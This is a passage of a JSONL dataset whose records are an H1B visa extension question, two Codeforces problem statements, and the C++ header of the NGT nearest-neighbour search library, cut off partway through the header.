{"text": "I'm in my 8th year extension of H1B. My Labour is approved but I140 was denied a while back (education) and is in AAO (actually got back to USCIS from AAO in May, but no further details are available). My current H1B is valid till Jan 07. I can do premium processing of H1B extension in July. Once I get that extension can I transfer both current and extended H1B to a new employer? Is it at all possible for the new employer to extend the H1B for me, based on the wait time for Labour from my current employer (took about 2.5 years)?\nI understand I will need to start GC process all over again, but I'll be able to get EB2 with the new employer. Thus the main problem is with extending H1B as long as needed.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 183, "token_count_with_eod": 184, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Tokitsukaze has a permutation $$$p$$$. She performed the following operation to $$$p$$$ exactly $$$k$$$ times: in one operation, for each $$$i$$$ from $$$1$$$ to $$$n - 1$$$ in order, if $$$p_i$$$ > $$$p_{i+1}$$$, swap $$$p_i$$$, $$$p_{i+1}$$$. After exactly $$$k$$$ times of operations, Tokitsukaze got a new sequence $$$a$$$, obviously the sequence $$$a$$$ is also a permutation.\n\nAfter that, Tokitsukaze wrote down the value sequence $$$v$$$ of $$$a$$$ on paper. Denote the value sequence $$$v$$$ of the permutation $$$a$$$ of length $$$n$$$ as $$$v_i=\\sum_{j=1}^{i-1}[a_i < a_j]$$$, where the value of $$$[a_i < a_j]$$$ define as if $$$a_i < a_j$$$, the value is $$$1$$$, otherwise is $$$0$$$ (in other words, $$$v_i$$$ is equal to the number of elements greater than $$$a_i$$$ that are to the left of position $$$i$$$). Then Tokitsukaze went out to work.\n\nThere are three naughty cats in Tokitsukaze's house. When she came home, she found the paper with the value sequence $$$v$$$ to be bitten out by the cats, leaving several holes, so that the value of some positions could not be seen clearly. She forgot what the original permutation $$$p$$$ was. She wants to know how many different permutations $$$p$$$ there are, so that the value sequence $$$v$$$ of the new permutation $$$a$$$ after exactly $$$k$$$ operations is the same as the $$$v$$$ written on the paper (not taking into account the unclear positions).\n\nSince the answer may be too large, print it modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 406, "token_count_with_eod": 407, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Heidi got one brain, thumbs up! But the evening isn't over yet and one more challenge awaits our dauntless agent: after dinner, at precisely midnight, the N attendees love to play a very risky game...\n\nEvery zombie gets a number ni (1 ≤ ni ≤ N) written on his forehead. Although no zombie can see his own number, he can see the numbers written on the foreheads of all N - 1 fellows. Note that not all numbers have to be unique (they can even all be the same). From this point on, no more communication between zombies is allowed. Observation is the only key to success. When the cuckoo clock strikes midnight, all attendees have to simultaneously guess the number on their own forehead. If at least one of them guesses his number correctly, all zombies survive and go home happily. On the other hand, if not a single attendee manages to guess his number correctly, all of them are doomed to die!\n\nZombies aren't very bright creatures though, and Heidi has to act fast if she does not want to jeopardize her life. She has one single option: by performing some quick surgery on the brain she managed to get from the chest, she has the ability to remotely reprogram the decision-making strategy of all attendees for their upcoming midnight game! Can you suggest a sound strategy to Heidi which, given the rules of the game, ensures that at least one attendee will guess his own number correctly, for any possible sequence of numbers on the foreheads?\n\nGiven a zombie's rank R and the N - 1 numbers ni on the other attendees' foreheads, your program will have to return the number that the zombie of rank R shall guess. Those answers define your strategy, and we will check if it is flawless or not.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n// Copyright (C) 2015-2019 Yahoo Japan Corporation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//    http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n\n#pragma once\n\n#include\t<string>\n#include\t<vector>\n#include\t<map>\n#include\t<set>\n#include\t<bitset>\n#include\t<iomanip>\n#include\t<unordered_set>\n\n#include\t<sys/time.h>\n#include\t<sys/stat.h>\n#include\t<stdint.h>\n\n#include\t\"NGT/defines.h\"\n#include\t\"NGT/Common.h\"\n#include\t\"NGT/Tree.h\"\n#include\t\"NGT/Thread.h\"\n#include\t\"NGT/Graph.h\"\n\n\nnamespace NGT {\n\n  class Property;\n\n  class Index {\n  public:\n\n    class Property {\n    public:\n      typedef ObjectSpace::ObjectType\t\tObjectType;\n      typedef ObjectSpace::DistanceType\t\tDistanceType;\n      typedef NeighborhoodGraph::SeedType\tSeedType;\n      typedef NeighborhoodGraph::GraphType\tGraphType;\n      enum ObjectAlignment {\n\tObjectAlignmentNone\t= 0,\n\tObjectAlignmentTrue\t= 1,\n\tObjectAlignmentFalse\t= 2\n      };\n      enum IndexType {\n\tIndexTypeNone\t\t= 0,\n\tGraphAndTree\t\t= 1,\n\tGraph\t\t\t= 2\n      };\n      enum DatabaseType {\n\tDatabaseTypeNone\t= 0,\n\tMemory\t\t\t= 1,\n\tMemoryMappedFile\t= 2\n      };\n      Property() { setDefault(); }\n      void setDefault() {\n\tdimension \t= 0;\n\tthreadPoolSize\t= 32;\n\tobjectType\t= ObjectSpace::ObjectType::Float;\n\tdistanceType\t= DistanceType::DistanceTypeL2;\n\tindexType\t= IndexType::GraphAndTree;\n\tobjectAlignment\t= ObjectAlignment::ObjectAlignmentFalse;\n\tpathAdjustmentInterval = 0;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tdatabaseType\t= DatabaseType::MemoryMappedFile;\n      \tgraphSharedMemorySize\t= 512; // MB\n      \ttreeSharedMemorySize\t= 512; // MB\n      \tobjectSharedMemorySize\t= 512; // MB  512 is up to 20M objects.\n#else\n\tdatabaseType\t= DatabaseType::Memory;\n#endif\n      }\n      void clear() {\n\tdimension \t= -1;\n\tthreadPoolSize\t= -1;\n\tobjectType\t= ObjectSpace::ObjectTypeNone;\n\tdistanceType\t= DistanceType::DistanceTypeNone;\n\tindexType\t= IndexTypeNone;\n\tdatabaseType\t= DatabaseTypeNone;\n\tobjectAlignment\t= ObjectAlignment::ObjectAlignmentNone;\n\tpathAdjustmentInterval\t= -1;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      \tgraphSharedMemorySize\t= -1;\n      \ttreeSharedMemorySize\t= -1;\n      \tobjectSharedMemorySize\t= -1;\n#endif\n      }\n\n      void exportProperty(NGT::PropertySet &p) {\n\tp.set(\"Dimension\", dimension);\n\tp.set(\"ThreadPoolSize\", threadPoolSize);\n\tswitch (objectType) {\n\tcase ObjectSpace::ObjectType::Uint8: p.set(\"ObjectType\", \"Integer-1\"); break;\n\tcase ObjectSpace::ObjectType::Float: p.set(\"ObjectType\", \"Float-4\"); break;\n\tdefault : cerr << \"Fatal error. Invalid object type. \" << objectType <<endl; abort();\n\t}\n\tswitch (distanceType) {\n\tcase DistanceType::DistanceTypeNone:\t\t\tp.set(\"DistanceType\", \"None\"); break;\n\tcase DistanceType::DistanceTypeL1:\t\t\tp.set(\"DistanceType\", \"L1\"); break;\n\tcase DistanceType::DistanceTypeL2:\t\t\tp.set(\"DistanceType\", \"L2\"); break;\n\tcase DistanceType::DistanceTypeHamming:\t\t\tp.set(\"DistanceType\", \"Hamming\"); break;\n\tcase DistanceType::DistanceTypeJaccard:\t\t\tp.set(\"DistanceType\", \"Jaccard\"); break;\n\tcase DistanceType::DistanceTypeAngle:\t\t\tp.set(\"DistanceType\", \"Angle\"); break;\n\tcase DistanceType::DistanceTypeCosine:\t\t\tp.set(\"DistanceType\", \"Cosine\"); break;\n\tcase DistanceType::DistanceTypeNormalizedAngle:\t\tp.set(\"DistanceType\", \"NormalizedAngle\"); break;\n\tcase DistanceType::DistanceTypeNormalizedCosine:\tp.set(\"DistanceType\", \"NormalizedCosine\"); break;\n\tdefault : cerr << \"Fatal error. Invalid distance type. \" << distanceType << endl; abort();\n\t}\n\tswitch (indexType) {      \n\tcase IndexType::GraphAndTree:\tp.set(\"IndexType\", \"GraphAndTree\"); break;\n\tcase IndexType::Graph:\t\tp.set(\"IndexType\", \"Graph\"); break;\n\tdefault : cerr << \"Fatal error. Invalid index type. \" << indexType << endl; abort();\n\t}\n\tswitch (databaseType) {\n\tcase DatabaseType::Memory:\t\tp.set(\"DatabaseType\", \"Memory\"); break;\n\tcase DatabaseType::MemoryMappedFile:\tp.set(\"DatabaseType\", \"MemoryMappedFile\"); break;\n\tdefault : cerr << \"Fatal error. Invalid database type. \" << databaseType << endl; abort();\n\t}\n\tswitch (objectAlignment) {\n\tcase ObjectAlignment::ObjectAlignmentNone:\tp.set(\"ObjectAlignment\", \"None\"); break;\n\tcase ObjectAlignment::ObjectAlignmentTrue:\tp.set(\"ObjectAlignment\", \"True\"); break;\n\tcase ObjectAlignment::ObjectAlignmentFalse:\tp.set(\"ObjectAlignment\", \"False\"); break;\n\tdefault : cerr << \"Fatal error. Invalid objectAlignment. \" << objectAlignment << endl; abort();\n\t}\n\tp.set(\"PathAdjustmentInterval\", pathAdjustmentInterval);\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tp.set(\"GraphSharedMemorySize\", graphSharedMemorySize);\n\tp.set(\"TreeSharedMemorySize\", treeSharedMemorySize);\n\tp.set(\"ObjectSharedMemorySize\", objectSharedMemorySize);\n#endif\n      }\n\n      void importProperty(NGT::PropertySet &p) {\n\tsetDefault();\n\tdimension = p.getl(\"Dimension\", dimension);\n\tthreadPoolSize = p.getl(\"ThreadPoolSize\", threadPoolSize);\n\tPropertySet::iterator it = p.find(\"ObjectType\");\n\tif (it != p.end()) {\n\t  if (it->second == \"Float-4\") {\n\t    objectType = ObjectSpace::ObjectType::Float;\n\t  } else if (it->second == \"Integer-1\") {\n\t    objectType = ObjectSpace::ObjectType::Uint8;\n\t  } else {\n\t    cerr << \"Invalid Object Type in the property. \" << it->first << \":\" << it->second << endl;\n\t  }\n\t} else {\n\t  cerr << \"Not found \\\"ObjectType\\\"\" << endl;\n\t}\n\tit = p.find(\"DistanceType\");\n\tif (it != p.end()) {\n\t  if (it->second == \"None\") {\n\t    distanceType = DistanceType::DistanceTypeNone;\n\t  } else if (it->second == \"L1\") {\n\t    distanceType = DistanceType::DistanceTypeL1;\n\t  } else if (it->second == \"L2\") {\n\t    distanceType = DistanceType::DistanceTypeL2;\n\t  } else if (it->second == \"Hamming\") {\n\t    distanceType = DistanceType::DistanceTypeHamming;\n\t  } else if (it->second == \"Jaccard\") {\n\t    distanceType = DistanceType::DistanceTypeJaccard;\n\t  } else if (it->second == \"Angle\") {\n\t    distanceType = DistanceType::DistanceTypeAngle;\n\t  } else if (it->second == \"Cosine\") {\n\t    distanceType = DistanceType::DistanceTypeCosine;\n\t  } else if (it->second == \"NormalizedAngle\") {\n\t    distanceType = DistanceType::DistanceTypeNormalizedAngle;\n\t  } else if (it->second == \"NormalizedCosine\") {\n\t    distanceType = DistanceType::DistanceTypeNormalizedCosine;\n\t  } else {\n\t    cerr << \"Invalid Distance Type in the property. \" << it->first << \":\" << it->second << endl;\n\t  }\n\t} else {\n\t  cerr << \"Not found \\\"DistanceType\\\"\" << endl;\n\t}\n\tit = p.find(\"IndexType\");\n\tif (it != p.end()) {\n\t  if (it->second == \"GraphAndTree\") {\n\t    indexType = IndexType::GraphAndTree;\n\t  } else if (it->second == \"Graph\") {\n\t    indexType = IndexType::Graph;\n\t  } else {\n\t    cerr << \"Invalid Index Type in the property. \" << it->first << \":\" << it->second << endl;\n\t  }\n\t} else {\n\t  cerr << \"Not found \\\"IndexType\\\"\" << endl;\n\t}\n\tit = p.find(\"DatabaseType\");\n\tif (it != p.end()) {\n\t  if (it->second == \"Memory\") {\n\t    databaseType = DatabaseType::Memory;\n\t  } else if (it->second == \"MemoryMappedFile\") {\n\t    databaseType = DatabaseType::MemoryMappedFile;\n\t  } else {\n\t    cerr << \"Invalid Database Type in the property. \" << it->first << \":\" << it->second << endl;\n\t  }\n\t} else {\n\t  cerr << \"Not found \\\"DatabaseType\\\"\" << endl;\n\t}\n\tit = p.find(\"ObjectAlignment\");\n\tif (it != p.end()) {\n\t  if (it->second == \"None\") {\n\t    objectAlignment = ObjectAlignment::ObjectAlignmentNone;\n\t  } else if (it->second == \"True\") {\n\t    objectAlignment = ObjectAlignment::ObjectAlignmentTrue;\n\t  } else if (it->second == \"False\") {\n\t    objectAlignment = ObjectAlignment::ObjectAlignmentFalse;\n\t  } else {\n\t    cerr << \"Invalid Object Alignment in the property. \" << it->first << \":\" << it->second << endl;\n\t  }\n\t} else {\n\t  cerr << \"Not found \\\"ObjectAlignment\\\"\" << endl;\n\t  objectAlignment = ObjectAlignment::ObjectAlignmentFalse;\n\t}\n\tpathAdjustmentInterval  = p.getl(\"PathAdjustmentInterval\", pathAdjustmentInterval);\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tgraphSharedMemorySize  = p.getl(\"GraphSharedMemorySize\", graphSharedMemorySize);\n\ttreeSharedMemorySize   = p.getl(\"TreeSharedMemorySize\", treeSharedMemorySize);\n\tobjectSharedMemorySize = p.getl(\"ObjectSharedMemorySize\", objectSharedMemorySize);\n#endif\n      }\n\n      void set(NGT::Property &prop);\n      void get(NGT::Property &prop);\n      int\t\tdimension;\n      int\t\tthreadPoolSize;\n      ObjectSpace::ObjectType\tobjectType;\n      DistanceType\tdistanceType;\n      IndexType\t\tindexType;\n      DatabaseType\tdatabaseType;\n      ObjectAlignment\tobjectAlignment;\n      int\t\tpathAdjustmentInterval;\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      int\t\tgraphSharedMemorySize;\n      int\t\ttreeSharedMemorySize;\n      int\t\tobjectSharedMemorySize;\n#endif\n    };\n\n    class InsertionResult {\n    public:\n      InsertionResult():id(0), identical(false), distance(0.0) {}\n      InsertionResult(size_t i, bool tf, Distance d):id(i), identical(tf), distance(d) {}\n      size_t\tid;\n      bool\tidentical;\n      Distance\tdistance; // the distance between the centroid and the inserted object.\n    };\n\n    Index():index(0) {}\n    Index(const string &database, bool rdOnly = false):index(0) { open(database, rdOnly); }\n    Index(const string &database, NGT::Property &prop):index(0) { open(database, prop);  }\n    virtual ~Index() { close(); }\n\n    void open(const string &database, NGT::Property &prop) {\n      open(database);\n      setProperty(prop);\n    }\n    void open(const string &database, bool rdOnly = false);\n\n    void close() {\n      if (index != 0) { \n\tdelete index;\n\tindex = 0;\n      } \n      path.clear();\n    }\n    void save() {\n      if (path.empty()) {\n\tNGTThrowException(\"NGT::Index::saveIndex: path is empty\");\t\n      }\n      saveIndex(path);\n    }\n    static void mkdir(const string &dir) { \n      if (::mkdir(dir.c_str(), S_IRWXU | S_IRGRP | S_IXGRP |  S_IROTH | S_IXOTH) != 0) {\n\tstringstream msg;\n\tmsg << \"NGT::Index::mkdir: Cannot make the specified directory. \" << dir;\n\tNGTThrowException(msg);\t\n      }\n    }\n    static void createGraphAndTree(const string &database, NGT::Property &prop, const string &dataFile, size_t dataSize = 0);\n    static void createGraphAndTree(const string &database, NGT::Property &prop) { createGraphAndTree(database, prop, \"\"); }\n    static void createGraph(const string &database, NGT::Property &prop, const string &dataFile, size_t dataSize = 0);\n    template<typename T> size_t insert(vector<T> &object);\n    template<typename T> size_t append(vector<T> &object);\n    static void append(const string &database, const string &dataFile, size_t threadSize, size_t dataSize); \n    static void append(const string &database, const float *data, size_t dataSize, size_t threadSize);\n    static void remove(const string &database, vector<ObjectID> &objects);\n    static void exportIndex(const string &database, const string &file);\n    static void importIndex(const string &database, const string &file);\n    virtual void load(const string &ifile, size_t dataSize) { getIndex().load(ifile, dataSize); }\n    virtual void append(const string &ifile, size_t dataSize) { getIndex().append(ifile, dataSize); }\n    virtual void append(const float *data, size_t dataSize) { getIndex().append(data, dataSize); } \n    virtual void append(const double *data, size_t dataSize) { getIndex().append(data, dataSize); } \n    virtual size_t getObjectRepositorySize() { return getIndex().getObjectRepositorySize(); }\n    virtual void createIndex(size_t threadNumber) { getIndex().createIndex(threadNumber); }\n    virtual void saveIndex(const string &ofile) { getIndex().saveIndex(ofile); }\n    virtual void loadIndex(const string &ofile) { getIndex().loadIndex(ofile); }\n    virtual Object *allocateObject(const string &textLine, const string &sep) { return getIndex().allocateObject(textLine, sep); }\n    virtual Object *allocateObject(const vector<double> &obj) { return getIndex().allocateObject(obj); }\n    virtual Object *allocateObject(const vector<float> &obj) { return getIndex().allocateObject(obj); }\n    virtual Object *allocateObject(const float *obj, size_t size) { return getIndex().allocateObject(obj, size); }\n    virtual size_t getSizeOfElement() { return getIndex().getSizeOfElement(); }\n    virtual void setProperty(NGT::Property &prop) { getIndex().setProperty(prop); }\n    virtual void getProperty(NGT::Property &prop) { getIndex().getProperty(prop); }\n    virtual void deleteObject(Object *po) { getIndex().deleteObject(po); }\n    virtual void linearSearch(NGT::SearchContainer &sc) { getIndex().linearSearch(sc); }\n    virtual void search(NGT::SearchContainer &sc) { getIndex().search(sc); }\n    virtual void search(NGT::SearchContainer &sc, ObjectDistances &seeds) { getIndex().search(sc, seeds); }\n    virtual void remove(ObjectID id) { getIndex().remove(id); }\n    virtual void exportIndex(const string &file) { getIndex().exportIndex(file); }\n    virtual void importIndex(const string &file) { getIndex().importIndex(file); }\n    virtual void verify() { getIndex().verify(); }\n    virtual ObjectSpace &getObjectSpace() { return getIndex().getObjectSpace(); }\n    virtual size_t getSharedMemorySize(ostream &os, SharedMemoryAllocator::GetMemorySizeType t = SharedMemoryAllocator::GetTotalMemorySize) {\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      size_t osize = getObjectSpace().getRepository().getAllocator().getMemorySize(t);\n#else\n      size_t osize = 0;\n#endif\n      os << \"object=\" << osize << endl;\n      size_t isize = getIndex().getSharedMemorySize(os, t); \n      return osize + isize;\n    }\n    void searchUsingOnlyGraph(NGT::SearchContainer &sc) { \n      sc.distanceComputationCount = 0;\n      ObjectDistances seeds; \n      getIndex().search(sc, seeds); \n    }\n    Index &getIndex() {\n      if (index == 0) {\n\tassert(index != 0);\n\tNGTThrowException(\"NGT::Index::getIndex: Index is unavailable.\");\t\n      }\n      return *index;\n    }\n\n    static void destroy(const string &path) {\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      std::remove(string(path + \"/grp\").c_str());\n      std::remove(string(path + \"/grpc\").c_str());\n      std::remove(string(path + \"/trei\").c_str());\n      std::remove(string(path + \"/treic\").c_str());\n      std::remove(string(path + \"/trel\").c_str());\n      std::remove(string(path + \"/trelc\").c_str());\n      std::remove(string(path + \"/objpo\").c_str());\n      std::remove(string(path + \"/objpoc\").c_str());\n#else\n      std::remove(string(path + \"/grp\").c_str());\n      std::remove(string(path + \"/tre\").c_str());\n      std::remove(string(path + \"/obj\").c_str());\n#endif\n      std::remove(string(path + \"/prf\").c_str());\n      std::remove(path.c_str());\n    }\n    \n    static void version(ostream &os);\n    string getPath(){ return path; }\n  protected:\n    static void loadAndCreateIndex(Index &index, const string &database, const string &dataFile,\n\t\t\t\t   size_t threadSize, size_t dataSize);\n\n    Index *index;\n    string path;\n  };\n\n  class GraphIndex : public Index, \n    public NeighborhoodGraph {\n  public:\n\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n    GraphIndex(const string &allocator, bool rdOnly = false);\n    GraphIndex(const string &allocator, NGT::Property &prop):readOnly(false) {\n      initialize(allocator, prop);\n    }\n    void initialize(const string &allocator, NGT::Property &prop);\n#else // NGT_SHARED_MEMORY_ALLOCATOR\n    GraphIndex(const string &database, bool rdOnly = false);\n    GraphIndex(NGT::Property &prop):readOnly(false) {\n      initialize(prop);\n    }\n\n    void initialize(NGT::Property &prop) {\n      constructObjectSpace(prop);\n      setProperty(prop);\n    }\n\n#endif // NGT_SHARED_MEMORY_ALLOCATOR\n\n    virtual ~GraphIndex() {\n      destructObjectSpace();\n    }\n    void constructObjectSpace(NGT::Property &prop);\n\n    void destructObjectSpace() {\n      if (objectSpace == 0) {\n\treturn;\n      }\n      if (property.objectType == NGT::ObjectSpace::ObjectType::Float) {\n\tObjectSpaceRepository<float, double> *os = (ObjectSpaceRepository<float, double>*)objectSpace;\n#ifndef NGT_SHARED_MEMORY_ALLOCATOR\n\tos->deleteAll();\n#endif\n\tdelete os;\n      } else if (property.objectType == NGT::ObjectSpace::ObjectType::Uint8) {\n\tObjectSpaceRepository<unsigned char, int> *os = (ObjectSpaceRepository<unsigned char, int>*)objectSpace;\n#ifndef NGT_SHARED_MEMORY_ALLOCATOR\n\tos->deleteAll();\n#endif\n\tdelete os;\n      } else {\n\tcerr << \"Cannot find Object Type in the property. \" << property.objectType << endl;\n\treturn;\n      }\n      objectSpace = 0;\n    }\n\n    virtual void load(const string &ifile, size_t dataSize = 0) {\n      if (ifile.empty()) {\n\treturn;\n      }\n      istream *is;\n      ifstream *ifs = 0;\n      if (ifile == \"-\") {\n\tis = &cin;\n      } else {\n\tifs = new ifstream;\n\tifs->ifstream::open(ifile);\n\tif (!(*ifs)) {\n\t  stringstream msg;\n\t  msg << \"Index::load: Cannot open the specified file. \" << ifile;\n\t  NGTThrowException(msg);\n\t}\n\tis = ifs;\n      }\n      try {\n\tobjectSpace->readText(*is, dataSize);\n      } catch(Exception &err) {\n\tif (ifile != \"-\") {\n\t  delete ifs;\n\t}\n\tthrow(err);\n      }\n      if (ifile != \"-\") {\n\tdelete ifs;\n      }\n    }\n\n    virtual void append(const string &ifile, size_t dataSize = 0) {\n      ifstream is(ifile.c_str());\n      objectSpace->appendText(is, dataSize);\n    }\n\n    virtual void append(const float *data, size_t dataSize) { objectSpace->append(data, dataSize); }\n    virtual void append(const double *data, size_t dataSize) { objectSpace->append(data, dataSize); }\n\n    virtual void saveIndex(const string &ofile) {\n#ifndef NGT_SHARED_MEMORY_ALLOCATOR\n      try {\n\tmkdir(ofile);\n      } catch(...) {}\n      if (objectSpace != 0) {\n\tobjectSpace->serialize(ofile + \"/obj\");\n      } else {\n\tcerr << \"saveIndex::Warning! ObjectSpace is null. continue saving...\" << endl;\n      }\n      string fname = ofile + \"/grp\";\n      ofstream osg(fname);\n      if (!osg.is_open()) {\n\tstringstream msg;\n\tmsg << \"saveIndex:: Cannot open. \" << fname;\n\tNGTThrowException(msg);\n      }\n      repository.serialize(osg);\n#endif\n      saveProperty(ofile);\n    }\n\n    void saveProperty(const string &file) {\n      NGT::PropertySet prop;\n      assert(property.dimension != 0);\n      GraphIndex::property.exportProperty(prop);\n      NeighborhoodGraph::property.exportProperty(prop);\n      prop.save(file + \"/prf\");\n    }\n\n    void exportProperty(const string &file) {\n      NGT::PropertySet prop;\n      assert(property.dimension != 0);\n      GraphIndex::property.exportProperty(prop);\n      NeighborhoodGraph::property.exportProperty(prop);\n      prop.save(file + \"/prf\");\n    }\n\n    virtual void loadIndex(const string &ifile, bool readOnly);\n\n    virtual void exportIndex(const string &ofile) {\n      try {\n\tmkdir(ofile);\n      } catch(...) {\n\tstringstream msg;\n\tmsg << \"exportIndex:: Cannot make the directory. \" << ofile;\n\tNGTThrowException(msg);\n      }\n      objectSpace->serializeAsText(ofile + \"/obj\");\n      ofstream osg(ofile + \"/grp\");\n      repository.serializeAsText(osg);\n      exportProperty(ofile);\n    }\n\n    virtual void importIndex(const string &ifile) {\n      objectSpace->deserializeAsText(ifile + \"/obj\");\n      string fname = ifile + \"/grp\";\n      ifstream isg(fname);\n      if (!isg.is_open()) {\n\tstringstream msg;\n\tmsg << \"importIndex:: Cannot open. \" << fname;\n\tNGTThrowException(msg);\n      }\n      repository.deserializeAsText(isg);\n    }\n\n    void linearSearch(NGT::SearchContainer &sc) {\n      ObjectSpace::ResultSet results;\n      objectSpace->linearSearch(sc.object, sc.radius, sc.size, results);\n      ObjectDistances &qresults = sc.getResult();\n      qresults.moveFrom(results);\n    }\n\n    // GraphIndex\n    virtual void search(NGT::SearchContainer &sc) {\n      sc.distanceComputationCount = 0;\n      ObjectDistances seeds;\n      search(sc, seeds);\n    }\n\n    // get randomly nodes as seeds.\n    template<class REPOSITORY> void getRandomSeeds(REPOSITORY &repo, ObjectDistances &seeds, size_t seedSize) {\n      // clear all distances to find the same object as a randomized object.\n      for (ObjectDistances::iterator i = seeds.begin(); i != seeds.end(); i++) {\n\t(*i).distance = 0.0;\n      }\n      size_t repositorySize = repo.size();\n      repositorySize = repositorySize == 0 ? 0 : repositorySize - 1; // Because the head of repository is a dummy.\n      seedSize = seedSize > repositorySize ? repositorySize : seedSize;\n      vector<ObjectID> deteted;\n      while (seedSize > seeds.size()) {\n\tdouble random = ((double)rand() + 1.0) / ((double)RAND_MAX + 2.0);\n\tsize_t idx = floor(repositorySize * random) + 1;\n\tif (repo.isEmpty(idx)) {\n\t  continue;\n\t}\n\tObjectDistance obj(idx, 0.0);\n\tif (find(seeds.begin(), seeds.end(), obj) != seeds.end()) {\n\t  continue;\n\t}\n\tseeds.push_back(obj);\n      }\n    }\n\n\n    void remove(const ObjectID id) {\n      removeEdgesReliably(id);\n      try {\n\tgetObjectRepository().remove(id);\n      } catch(Exception &err) {\n\tcerr << \"NGT::GraphIndex::remove:: cannot remove from feature. id=\" << id << \" \" << err.what() << endl;\n\tthrow err;\n      }\n    }\n\n    virtual void searchForNNGInsertion(Object &po, ObjectDistances &result) {\n      NGT::SearchContainer sc(po);\n      sc.setResults(&result);\n      sc.size = NeighborhoodGraph::property.edgeSizeForCreation;\n      sc.radius = FLT_MAX;\n      sc.explorationCoefficient = NeighborhoodGraph::property.insertionRadiusCoefficient;\n      try {\n\tGraphIndex::search(sc);\n      } catch(Exception &err) {\n\tthrow err;\n      }\n      if (static_cast<int>(result.size()) < NeighborhoodGraph::property.edgeSizeForCreation && \n\t  result.size() < repository.size()) {\n\tif (sc.edgeSize != 0) {\n\t  sc.edgeSize = 0;\t// not prune edges.\n\t  try {\n\t    GraphIndex::search(sc);\n\t  } catch(Exception &err) {\n\t    throw err;\n\t  }\n\t}\n      }\n    }\n\n    void searchForKNNGInsertion(Object &po, ObjectID id, ObjectDistances &result) {\n      double radius = FLT_MAX;\n      size_t size = NeighborhoodGraph::property.edgeSizeForCreation;\n      if (id > 0) {\n\tsize = NeighborhoodGraph::property.edgeSizeForCreation + 1;\n      }\n      ObjectSpace::ResultSet rs;\n      objectSpace->linearSearch(po, radius, size, rs);\n      result.moveFrom(rs, id);\n      if ((size_t)NeighborhoodGraph::property.edgeSizeForCreation != result.size()) {\n\tcerr << \"searchForKNNGInsert::Warning! inconsistency of the sizes. ID=\" << id \n\t     << \" \" << NeighborhoodGraph::property.edgeSizeForCreation << \":\" << result.size() << endl;\n\tfor (size_t i = 0; i < result.size(); i++) {\n\t  cerr << result[i].id << \":\" << result[i].distance << \" \";\n\t}\n\tcerr << endl;\n      }\n    }\n\n    virtual void insert(\n\t\t\tObjectID id\n\t\t\t) {\n      ObjectRepository &fr = objectSpace->getRepository();\n      if (fr[id] == 0) {\n\tcerr << \"NGTIndex::insert empty \" << id << endl;\n\treturn;\n      }\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      Object &po = *objectSpace->allocateObject(*fr[id]);\n#else\n      Object &po = *fr[id];\n#endif\n      ObjectDistances rs;\n      if (NeighborhoodGraph::property.graphType == NeighborhoodGraph::GraphTypeANNG) {\n\tsearchForNNGInsertion(po, rs);\n      } else {\n\tsearchForKNNGInsertion(po, id, rs);\n      }\n      insertNode(id, rs);\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n      objectSpace->deleteObject(&po);\n#endif\n    }\n\n    virtual void createIndex();\n    virtual void createIndex(size_t threadNumber);\n\n    void checkGraph()\n    {\n      GraphRepository &repo = repository;\n      ObjectRepository &fr = objectSpace->getRepository();\n      for (size_t id = 0; id < fr.size(); id++){\n\tif (repo[id] == 0) {\n\t  cerr << id << \" empty\" << endl;\n\t  continue;\n\t}\n\tif ((id % 10000) == 0) {\n\t  cerr << \"checkGraph: Processed size=\" << id << endl;\n\t}\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tObject &po = *objectSpace->allocateObject(*fr[id]);\n#else\n\tObject &po = *fr[id];\n#endif\n\tGraphNode *objects = getNode(id);\n\n\tObjectDistances rs;\n\tNeighborhoodGraph::property.edgeSizeForCreation = objects->size() + 1;\n\tsearchForNNGInsertion(po, rs);\n#ifdef NGT_SHARED_MEMORY_ALLOCATOR\n\tobjectSpace->deleteObject(&po);\n#endif\n\n\tif (rs.size() != objects->size()) {\n\t  cerr << \"Cannot get the specified number of the results. \" << rs.size() << \":\" << objects->size() << endl;\n\t}\n\tsize_t count = 0;\n\tObjectDistances::iterator rsi = rs.begin(); \n#if defined(NGT_SHARED_MEMORY_ALLOCATOR)\n\tfor (GraphNode::iterator ri = objects->begin(repo.allocator);\n\t     ri != objects->end(repo.allocator) && rsi != rs.end();) {\n#else\n\tfor (GraphNode::iterator ri = objects->begin();\n\t     ri != objects->end() && rsi != rs.end();) {\n#endif\n\t  if ((*ri).distance == (*rsi).distance && (*ri).id == (*rsi).id) {\n\t    count++;\n\t    ri++;\n\t    rsi++;\n\t  } else if ((*ri).distance < (*rsi).distance) {\n\t    ri++;\n\t  } else {\n\t    rsi++;\n\t  }\n\t}\n\tif (count != objects->size()) {\n\t  cerr << \"id=\" << id << \" identities=\" << count << \" \" << objects->size() << \" \" << rs.size() << endl;\n\t}\n      }\n    }\n\n    virtual void verify()\n    {\n      cerr << \"Started verifying graph and objects\" << endl;\n      GraphRepository &repo = repository;\n      ObjectRepository &fr = objectSpace->getRepository();\n      for (size_t id = 1; id < fr.size(); id++){\n\tif (repo[id] == 0) {\n\t  cerr << \"No.\" << id << \" is empty.\" << endl;\n\t  if (fr[id] != 0) {\n\t    cerr << \"Graph and object set are inconsistency.\" << endl;\n\t  }\n\t  continue;\n\t}\n\tif ((id % 1000000) == 0) {\n\t  